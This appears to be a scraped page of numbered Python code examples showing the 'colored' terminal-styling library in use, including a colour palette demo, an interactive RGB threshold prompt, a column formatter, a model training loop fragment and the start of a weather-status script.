        "#808080",
        "#8a8a8a",
        "#949494",
        "#9e9e9e",
        "#a8a8a8",
        "#b2b2b2",
        "#bcbcbc",
        "#c6c6c6",
        "#d0d0d0",
        "#dadada",
        "#e4e4e4",
        "#eeeeee"

    )

    for color in colors:
        print (
            "{}This text is colored: {}{}".format(
                fg(color),
                color,
                attr("reset")))
        print (
            "{}This text is colored: {}{}".format(
                bg(color),
                color,
                attr("reset")))
        time.sleep(0.1)
コード例 #56
0
def color_val(files):
    print ("Alright, so now we are going to choose R,G, and B values to check for.")
    print
    print ("The program will go through the image pixel by pixel and check whether the R,G,or B values are greater than the number you provided.")
    print
    print ("This operation will return TRUE or FALSE and change the pixels color to black or white respectively.")
    print ("(telling you whether that pixel has matched the parameters you have selected or not)")
    print
    print ("After you have completed this step, we will select two colors to outline the sections that match and fill the space around them.")
    print

    while True:
        try:
            rl = int(input(("Enter an %sR%s value to check for (between 0-255): ") % (fg(1), attr(0))))
            if 0 <= rl <= 255:
                break
            else:
                print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
        except ValueError:
            print ("%sOops!%s  That was not a valid number. Let's try again..." % (fg(1), attr(0)))

    while True:
        try:
            gl = int(input(("Enter an %sG%s value to check for (between 0-255): ") % (fg(10), attr(0))))
            if 0 <= gl <= 255:
                break
            else:
                print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
        except ValueError:
            print ("%sOops!%s  That was not a valid number. Let's try again..." % (fg(1), attr(0)))

    while True:
        try:
            bl = int(input(("Enter an %sB%s value to check for (between 0-255): ") % (fg(21), attr(0))))
            if 0 <= bl <= 255:
                break
            else:
               print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
        except ValueError:
            print ("%sOops!%s  That was not a valid number. Let's try again..." % (fg(1), attr(0)))

    print
    print ("%sCool%s, now that the images have been processed, we have to choose a fill and outline color" % (fg(10), attr(0)))
    print
    print ("%sLet's start with the outline,%s " % (fg(13), attr(0)))

    while True:
        try:
            outline_r = int(input(("Enter an %sR%s value for the outline (between 0-255): ") % (fg(1), attr(0))))
            if 0 <= outline_r <= 255:
                break
            else:
                print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
        except ValueError:
            print ("%sOops!%s  That was not a valid number. Let's try again..." % (fg(1), attr(0)))

    while True:
        try:
            outline_g = int(input(("Enter an %sG%s value for the outline (between 0-255): ") % (fg(10), attr(0))))
            if 0 <= outline_g <= 255:
                break
            else:
                print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
        except ValueError:
            print ("%sOops!%s  That was not a valid number. Let's try again..." % (fg(1), attr(0)))

    while True:
        try:
            outline_b = int(input(("Enter an %sB%s value for the outline (between 0-255): ") % (fg(21), attr(0))))
            if 0 <= outline_b <= 255:
                break
            else:
                print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
        except ValueError:
            print ("%sOops!%s  That was not a valid number. Let's try again..." % (fg(1), attr(0)))

    outline = (outline_r, outline_g, outline_b)
    print ("Your outline color is : RGB( " + str(outline[0]) + ", " + str(outline[1]) + ", " + str(outline[2]) +" )" )
    print ("")
    print ("%sNow lets do the fill,%s" % (fg(13), attr(0)))

    while True:
        try:
            fill_r = int(input(("Enter an %sR%s value for the fill (between 0-255): ") % (fg(1), attr(0))))
            if 0 <= fill_r <= 255:
                break
            else:
                print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
        except ValueError:
            print ("%sOops!%s  That was not a valid number. Let's try again..." % (fg(1), attr(0)))

    while True:
        try:
            fill_g = int(input(("Enter an %sG%s value for the fill (between 0-255): ") % (fg(10), attr(0))))
            if 0 <= fill_g <= 255:
                break
            else:
                print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
        except ValueError:
            print ("%sOops!%s  That was not a valid number. Let's try again..." % (fg(1), attr(0)))

    while True:
        try:
            fill_b = int(input(("Enter an %sB%s value for the fill (between 0-255): ") % (fg(21), attr(0))))
            if 0 <= fill_b <= 255:
                break
            else:
                print ("%sSorry%s that's not in range. Let's try again" % (fg(1), attr(0)))
        except ValueError:
            print ("%sOops!%s  That was not a valid number. Let's try again..." % (fg(1), attr(0)))

    fill = (fill_r, fill_g, fill_b)
    print ("Your fill color is : RGB( " + str(fill[0]) + ", " + str(fill[1]) + ", " + str(fill[2]) +" )")

    return (True, (files, rl, gl, bl, outline, fill))
コード例 #57
0
import json
import functools
import shutil

import colored
from pygments import highlight, lexers, formatters
from pygments import styles


STYLE_NAMES = list(styles.get_all_styles()) + ['none']
PARENT_ZNODE_STYLE = angry = colored.fg("blue") + colored.attr("bold")


def chunks(sequence, num_chunks):
    """Yield successive n-sized chunks from l."""
    for i in range(0, len(sequence), num_chunks):
        yield sequence[i:i + num_chunks]


def columnize(items, nb_columns):
    """Format the argument items in columns, using the current terminal width"""
    items_lines = chunks(items, nb_columns)
    term_width, _ = shutil.get_terminal_size()
    col_width = int(term_width / nb_columns)
    lines = '\n'.join([
        "".join(item.ljust(col_width) for item in item_line)
        for item_line in items_lines
    ])
    return lines

コード例 #58
0
# Define model and optimizer

device = xm.xla_device()
network = CancerNet(features=2560).to(device)
optimizer = Adam([{'params': network.efn.parameters(), 'lr': LR[0]},
                  {'params': network.dense_output.parameters(), 'lr': LR[1]}])

# Train the model on one TPU core

print("STARTING TRAINING ...\n")

start = time.time()
train_batches = len(train_loader) - 1

for epoch in range(EPOCHS):
    fonts = (fg(48), attr('reset'))
    print(("EPOCH %s" + str(epoch+1) + "%s") % fonts)
    
    batch = 1
    network.train()
    for train_batch in train_loader:
        train_img, train_targ = train_batch
        train_targ = train_targ.view(-1, 1)
        train_img, train_targ = train_img.to(device), train_targ.to(device)
        
        if batch >= train_batches: break
        train_preds = network.forward(train_img)
        train_acc = acc(train_targ, train_preds)
        train_loss = bce(train_targ, train_preds)
            
        optimizer.zero_grad()
コード例 #59
0
ファイル: core.py プロジェクト: panodata/grafana-wtf
 def get_red_message(message):
     return colored.stylize(message,
                            colored.fg("red") + colored.attr("bold"))
コード例 #60
0
        print(" Tweeted: %s" % message)

        return


if __name__ == "__main__":

    os.system("clear")
    start_time = time.time()

    zeus = Zeus()

    print(" CTMO ZEUS Weather System v2.0")
    print()

    res = attr("reset")

    current_status = zeus.get_current_status()

    print()

    astronomical_twilight_begin = current_status["astronomical_twilight_begin"]
    nautical_twilight_begin = current_status["nautical_twilight_begin"]
    civil_twilight_begin = current_status["civil_twilight_begin"]
    sunrise = current_status["sunrise"]
    solar_noon = current_status["solar_noon"]
    sunset = current_status["sunset"]
    civil_twilight_end = current_status["civil_twilight_end"]
    nautical_twilight_end = current_status["nautical_twilight_end"]
    astronomical_twilight_end = current_status["astronomical_twilight_end"]
    latitude = current_status["latitude"]